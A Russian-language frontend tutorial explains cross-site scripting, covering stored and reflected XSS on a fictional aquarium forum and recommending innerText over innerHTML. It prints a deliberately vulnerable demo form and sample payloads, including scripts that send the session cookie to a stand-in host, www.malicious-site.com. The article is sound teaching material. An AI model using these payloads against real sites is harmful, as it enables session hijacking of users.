XSS-уязвимости и как их избежать
- 7 апреля 2023
Аббревиатура XSS расшифровывается как Cross-Site Scripting (межсайтовый скриптинг). Если особо не погружаться в детали, смысл атаки заключается во внедрении вредоносного кода в страницу. Атака не затрагивает серверную часть, но напрямую влияет на клиентскую — на пользователей уязвимого сервиса.
А какой код можно внедрить в страницу? У страницы же нет доступа к базе данных или другому серверному компоненту, где можно получить данные пользователей. Речь идёт о зловредном JavaScript-коде.
Вам хорошо известно: для выполнения JavaScript-кода на странице (в контексте фронтенда) необходимо разместить его между тегами <script></script>
. Про этот способ мы рассказывали в первой главе учебника. Атака XSS в этом и заключается. Злоумышленник внедряет в страницу зловредный JavaScript-код. Пользователь переходит на эту страницу, код выполняется и конфиденциальные данные пользователя отправляются злоумышленнику.
Схема работы XSS
На практике это может выглядеть так. Представьте персональный блог, в котором все зарегистрированные пользователи могут оставлять комментарии к публикациям.
Всё работает прекрасно, пока не появляется пользователь, который хочет не просто обсуждать публикации, а украсть доступ к учётным записям других пользователей блога. Для этого злоумышленник в поле комментарий пишет какой-то текст, тег <script>
, а в нём немного JavaScript-кода. Если не происходит никакой фильтрации, то после публикации такого комментария, код будет выполняться у всех пользователей, посетивших страницу.
А что опасного может быть в этом коде? Часто разработчики используют cookie для хранения идентификатора сессии пользователя. Что такое идентификатор? Это строка с уникальным набором символов, позволяющих отличить одного авторизованного пользователя от другого.
Зловредный код может прочитать это значение и передать на сервер злоумышленника при помощи AJAX-запроса. В этом и заключается смысл XSS-атаки. Собрав такие идентификаторы, злоумышленник может подставить их себе. Если разработчик не предусмотрел дополнительной защиты, то злоумышленник сможет войти в приложение под учётной записью пользователя.
Рассмотренный сценарий выше — один из самых популярных, но не единственный. При отсутствии фильтрации, можно выполнить любой JavaScript-код. Например, собрать все данные со страницы (при помощи банальных querySelector
) или сделать другие деструктивные действия.
XSS на примере
Попробуем взглянуть на проблему с практической точки зрения. Создадим демонстрационное приложение и на реальном примере узнаем, что подразумевается под XSS. В качестве демонстрационного приложения сделаем простую форму для ввода имени. Пользователь вводит имя, отправляет форму, и в параграфе появляется текст с приветствием пользователя. Приложение максимально простое, но оно прекрасно проиллюстрирует проблему:
<form id="basic-form">
<input id="user-name" type="text">
<input type="submit" value="Отправить" placeholder="Пожалуйста, представьтесь">
<p id="welcome-user"></p>
</form>
<script>
'use strict';
const submitFormHandler = (evt) => {
evt.preventDefault();
welcomeUserElement.innerHTML = `Привет, ${userNameElement.value}!`;
}
const formElement = document.querySelector(`#basic-form`);
const welcomeUserElement = formElement.querySelector(`#welcome-user`);
const userNameElement = formElement.querySelector(`#user-name`);
formElement.addEventListener(`submit`, submitFormHandler);
</script>
Попробуйте открыть страницу в браузере и протестировать приложение. Убедитесь, что всё работает так, как и было запланировано.

В качестве теста мы ввели имя «Igor», и оно отобразилось в параграфе. Приложение работает так, как мы и ожидаем. Теперь давайте вместо имени введём на первый взгляд безобидную строку:
<img src="" onerror="alert('xss')">
Нажмите кнопку «Отправить». На этот раз в параграфе #welcome-user
отобразится «Привет, !», но в довесок к этому вы увидите модальное окно с текстом «xss». Мы внедрили в страницу сторонний JavaScript-код. В примере он показывает бесполезное модальное окно, но вы понимаете, что он может делать намного больше. Выше мы обсуждали несколько негативных сценариев.

Рассмотрим ещё один пример и разберёмся, как выглядит внедрение XSS изнутри. Представим, что вы разрабатываете какой-нибудь форум любителей аквариумных рыбок. Пусть схематично его разметка выглядит так:
<h1>Здравствуйте, <span class="username">Обычный Пользователь</span>!</h1>
<article class="topic">
<header class="topic-header">
<h2>Разведение пираний в домашних условиях</h2>
</header>
<p class="topic-body">
Всем привет. Я решил завести себе пираний.
Расскажите, какие плюсы, минусы, подводные камни.</p>
<footer class="posted-by">
От <span class="poster-name">Другой Пользователь</span>
</footer>
</article>
Простая разметка — ничего необычного. Один из пользователей, который создал эту тему для обсуждения выбрал при регистрации необычное имя. Вот такое:
Другой пользователь</span><script>const username=document.querySelector('.username').textContent;const sessionCookie=document.cookie.match(/session-token=([^;$]+)/)[1];fetch('http:/www.malicious-site.com',{method: 'post',body:JSON.stringify({username,sessionCookie})});</script>
Что произойдёт, если другой участник обсуждения просмотрит эту тему? Разметка страницы начнёт выглядеть следующим образом (отформатировано для читабельности):
<h1>Здравствуйте, <span class="username">Обычный Пользователь</span>!</h1>
<article class="topic">
<header class="topic-header">
<h2>Разведение пираний в домашних условиях</h2>
</header>
<p class="topic-body">
Всем привет. Я решил завести себе пираний.
Расскажите, какие плюсы, минусы, подводные камни.</p>
<footer class="posted-by">
От <span class="poster-name">Другой Пользователь</span>
<script>
const username = document.querySelector(`.username`).textContent;
const sessionCookie = document.cookie.match(/session-token=([^;$]+)/)[1];
fetch(`http:/www.malicious-site.com`, {
method: `post`,
body: JSON.stringify({username, sessionCookie})
});
</script>
</footer>
</article>
Визуально на странице ничего не изменится. Всё то же безумное объявление, но это лишь на первый взгляд. Экзотичное имя пользователя (то самое с кодом) содержало закрывающий тег </span>
. Выходит, что на этом описание элемента с именем пользователя заканчивается. За ним следует тег <script>
c JavaScript кодом, который браузер вынужден исполнить.
Выполнение этого кода приведёт к отправке идентификатора сессии на сервер злоумышленника (www.malicious-site.com
). Получив идентификатор, злоумышленник сможет подставить его себе и войти в сервис от имени пользователя. Дальше можно изменить профиль (если сервис позволяет это сделать без ввода пароля) и сделать другие деструктивные действия.
Виды XSS
Существует два основных вида XSS-атак. Первый — хранимые XSS (Stored XSS). Его мы разобрали в предыдущем примере. Один пользователь вводит зловредные данные, которые сохраняются на сервере и оттуда попадают на страницу другого пользователя.

Другой вид — отражённые XSS (Reflected XSS). Атаки этого типа выглядят иначе. Допустим, на форуме любителей рыбок есть поиск по сообщениям. Маршрут на страницу с выдачей результатов может выглядеть так:
http://www.aquarium-forum.com/search?q=guppy
При переходе пользователь увидит страницу примерно с такой разметкой:
<div class="query">
Результаты поиска по запросу <span class="query-text">guppy</span>:
</div>
<div class="result">
<!-- результаты поиска -->
</div>
Ничего необычного в этой разметке нет, но представьте, что один из пользователей форума любителей рыбок получит на свой email провокационное письмо: «Шокирующая правда о гуппи! Рыбки не переносят… (продолжение по ссылке)». Пользователь на эмоциях переходит по ней (он видит, что она ведёт на его любимый форум) и видит вполне ожидаемую страницу с результатами поиска. Только без шокирующих новостей, но идентификатор его сессии уже улетел злоумышленнику. Ссылка в письме выглядела так:
http://www.aquarium-forum.com/search?q=guppy<script>fetch('http:/www.malicious-site.com?cookie='+document.cookie)</script>
После перехода по ссылке, разметка страницы преобразилась и обзавелась одной строкой кода на JavaScript. Визуально это незаметно, но браузер выполнит код, который не предполагал разработчик:
<div class="query">
Результаты поиска по запросу <span class="query-text">guppy
<script>
fetch('http:/www.malicious-site.com?cookie=' + document.cookie);
</script>
</span>:
</div>
<div class="result">
<!-- результаты поиска -->
</div>

Защита от XSS
Основная причина появления XSS заключается в недостаточной фильтрации входных данных. Мы это видели на двух примерах. Давайте подумаем, как бороться с этой проблемой. Начнём с простого: не стоит вставлять пользовательские данные в свойство innerHTML
.
Если пользователь пришлёт разметку с кодом на JavaScript, то браузер интерпретирует код и станут возможны сценарии, о которых говорили выше. Что же делать? Самый простой вариант: вместо innerHTML
применять innerText
. Тогда содержимое будет отображаться как простой текст.
Резюме
XSS атаки представляют серьёзную угрозу для веб-приложений. В этом разделе мы рассмотрели теорию и один из самых простых вариантов защиты. Конечно, это решение нельзя назвать серебряной пулей. К вопросам безопасности следует подходить комплексно: как на клиенте, так и на сервере. Запомните главное правило: любые данные, полученные от пользователя, по умолчанию нельзя считать безопасными.
Ещё по теме
«Доктайп» — журнал о фронтенде. Читайте, слушайте и учитесь с нами.
Читать дальше




Жадные алгоритмы. Задачи о размене, рюкзаке и о задачах
Мы добавили задачу в вашу задачу о задачах, чтобы вы решали задачу, пока решаете задачу.
- 2 мая 2023

5 книг по паттернам проектирования, которые улучшат ваш код
Каждый найдёт подходящее для себя.
- 18 апреля 2023

В чём разница между интерфейсами и типами в TypeScript
Отвечаем на популярный вопрос с собеседований.
- 14 апреля 2023

Как собрать проект на Webpack. Простой гайд для новичков
Простейший пример для тех, кому надо разобраться по работе или учёбе.
- 7 апреля 2023


